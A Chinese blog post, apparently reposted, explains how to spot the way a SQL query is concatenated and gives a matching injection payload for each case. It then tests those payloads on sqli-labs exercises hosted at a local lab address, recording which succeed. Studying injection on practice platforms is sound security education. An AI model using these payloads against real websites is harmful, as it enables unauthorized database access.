SQL拼接方式以及注入方法
SQL拼接方式以及注入方法
此前遇到的SQL拼接写法是这样的:
sql = "SELECT * from users where name = '$name' AND passwd = '$passwd'
实际上SQL混淆写法是多种多样的,可以分为两个维度:
- 引号:是否有引号,单引号还是双引号
- 括号:是否有括号,单重括号还是多重插号
那组合出来的SQL拼接情况如下表:
引号 | 括号 | SQL拼接实例 | 注入方式 |
---|---|---|---|
无 | 无 | select * from uers where id = $id |
id=-1 or 1=1# |
无 | 单重 | select * from users where id = ($id) |
id=-1) or 1=1# |
单 | 无 | select * from user where id = '$id' |
id=’ or 1=1# |
单 | 单重 | select * from user where id = ('$id') |
id=’) or 1=1# |
双 | 无 | select * from user where id = "$id" |
id=” or 1=1# |
双 | 单重 | select * from user where id = ("$id") |
id=”) or 1=1# |
无 | 双重 | select * from user where id = (($id)) |
id=-1)) or 1=1# |
* | 双重或多重 | 对于双重和多重情况,这里不枚举了 |
每种注入方式,如果跟SQL拼接实例不匹配,MySQL语法器都会报错。如果在网页能提示mysql语法格式出错,那就可以证明该格式是不匹配的,同时也可以佐证PHP后台没有对参数做过滤或者转换。
利用sqli-labs平台进行验证
练习1(http://192.168.0.107/sqli-labs/Less-1/)
按照上表,将种注入参数往里灌,看哪种会成功
URL | 灌的参数 | 结果 |
---|---|---|
http://192.168.0.107/sqli-labs/Less-1/?id=-1 or 1=1# |
id=-1 or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=-1) or 1=1# |
id=-1) or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=' or 1=1# |
id=' or 1=1# |
成功 |
http://192.168.0.107/sqli-labs/Less-1/?id=') or 1=1# |
id=') or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=" or 1=1# |
id=" or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-1/?id=") or 1=1# |
id=") or 1=1# |
sql语法报错 |
猜测SQL拼接如SELECT * FROM users WHERE id = '$id'
请注意:在Chrome浏览器里面,#字符需要写在URL转义符%23来代替,否则服务器接到的参数会少了#
练习2(http://192.168.0.107/sqli-labs/Less-2/)
注入表如下:
URL | 灌的参数 | 是否成功 |
---|---|---|
http://192.168.0.107/sqli-labs/Less-2/?id=-1 or 1=1# |
id=-1 or 1=1# |
成功 |
http://192.168.0.107/sqli-labs/Less-2/?id=-1) or 1=1# |
id=-1) or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=' or 1=1# |
id=' or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=') or 1=1# |
id=') or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=" or 1=1# |
id=" or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-2/?id=") or 1=1# |
id=") or 1=1# |
sql语法报错 |
猜测SQL拼接如SELECT * FROM users WHERE id = $id
练习4(http://192.168.0.107/sqli-labs/Less-3/)
注入表如下:
URL | 灌的参数 | 是否成功 |
---|---|---|
http://192.168.0.107/sqli-labs/Less-4/?id=-1 or 1=1# |
id=-1 or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=-1) or 1=1# |
id=-1) or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=' or 1=1# |
id=' or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=') or 1=1# |
id=') or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=" or 1=1# |
id=" or 1=1# |
sql语法报错 |
http://192.168.0.107/sqli-labs/Less-4/?id=") or 1=1# |
id=") or 1=1# |
成功 |
猜测SQL拼接如SELECT * FROM users WHERE id = ("$id")
遇到多重括号该怎办
在做sqli-labs练习题时,如果出现上述6种注入格式都无法注入成功,很可能是遇到了多重括号的SQL拼接情况。比如Less-7(http://192.168.0.107/sqli-labs/Less-7/),使用上述6种注入方式都不行,就得考虑是否有两重或多重括号了。
假设是两重括号,然后id可能无引号/单引号/双引号 这几种场景来枚举,依赖尝试
http://192.168.0.107/sqli-labs/Less-7/?id=-1)) or 1=1#
http://192.168.0.107/sqli-labs/Less-7/?id=')) or 1=1#
http://192.168.0.107/sqli-labs/Less-7/?id=")) or 1=1#
发现 http://192.168.0.107/sqli-labs/Less-7/?id=')) or 1=1#
注入成功,可以断定它的SQL是这样拼接的SELECT * from user where id = (('$id'))
。
【注】本文转自:http://blog.csdn.net/linyt/article/details/53041229